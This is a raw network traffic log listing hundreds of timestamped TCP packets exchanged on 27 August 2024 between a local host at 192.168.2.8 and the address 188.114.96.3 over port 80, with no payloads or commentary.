Aug 27, 2024 09:49:41.340058088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340068102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340076923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340085983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340090990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340096951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340107918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340118885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340125084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340138912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340159893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340182066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340203047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340219021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340274096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340533972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340545893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340555906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340565920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340576887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340579033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340589046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340599060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340604067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340610027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340620995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340627909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340631962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340636969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340643883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340655088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340667009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340678930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340682983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340688944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340728998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340759039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340769053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340779066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340795994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340799093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340806961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340816975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340820074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340831041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340842962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340853930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340862036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340864897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340877056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340884924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340889931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340898991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340902090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340912104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340919018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340923071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340934992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340945005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340975046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340980053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340991974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341017008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341101885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341114044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341125011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341135025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341136932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341145039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341156960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341161966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341167927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341178894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341182947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341188908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341206074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341227055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341254950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341269970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341288090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341305971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341317892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341320992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341331005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341341972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.341348886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.341363907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.343724012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.425802946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425816059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425826073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425846100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425858021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425868034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425893068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.425934076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.425952911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425964117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425975084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425986052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.425996065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426004887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426007986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426021099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426054955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426069021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426090002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426131010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426297903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426309109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426318884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426347971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426373959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426384926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426394939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426414013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426420927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426445007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426455975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426466942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426490068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426501036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426501989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426512003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426529884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426554918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426624060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426635027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426645041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426656008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426666975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426670074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426678896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426687956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426723957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426825047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426836014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426848888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426866055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426867962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426878929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426891088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426903009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426911116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426913977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426925898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426928997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426937103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426949024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426954031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426960945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.426979065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426990032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.426996946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427397013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427407980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427418947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427432060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427443981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427447081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427454948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427464962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427470922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427484989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427493095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427498102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427508116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427510023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427527905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427530050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427539110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427550077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427561998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427561998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427572966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427584887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427598000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427598953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427611113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427613974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427624941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427635908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427644968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427648067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427656889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427668095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427670002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427678108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427686930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427690029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427704096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427710056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427715063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427731037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427767992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427767992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427778006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427788019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427798033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427803040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427836895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.427966118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427975893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427985907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.427998066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428008080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428014040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428019047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428030014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428031921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428040981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428050995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428061008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428064108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428072929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428085089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428096056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428132057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428253889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428275108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428284883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428293943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428303957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428314924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428318977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428324938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428333998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428342104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428344965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428354979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428356886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428364992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428375006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428381920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428386927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428399086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428431988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.428510904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428520918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.428551912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.468241930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468255997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468272924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468293905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468305111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468312025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.468316078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468327045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468338966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.468343019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.468369961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.507991076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.512623072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512643099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512649059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512660980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512671947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512676001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512682915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512720108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.512758017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.512782097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512792110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512801886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512814045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512824059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512825966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.512841940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512845993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.512852907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.512871027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.512886047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513128042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513180971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513190985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513226032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513236046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513246059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513257980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513267994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513278961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513290882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513312101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513315916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513318062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513325930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513365030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513418913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513430119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513442039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513453007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513462067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513463974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513483047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513525009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513536930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513547897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513559103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513569117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513570070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513586044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513634920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513689995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513700962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513710976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513721943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513734102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513740063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513741970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513753891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513760090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513770103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513782024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513792038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513818026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513851881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513863087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513873100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513884068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.513905048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513931990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.513994932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514003992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514008999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514014006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514023066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514034033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514049053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514055014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514060974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514071941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514081001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514097929 CEST	49715	80	192.168.2.8	188.114.96.3
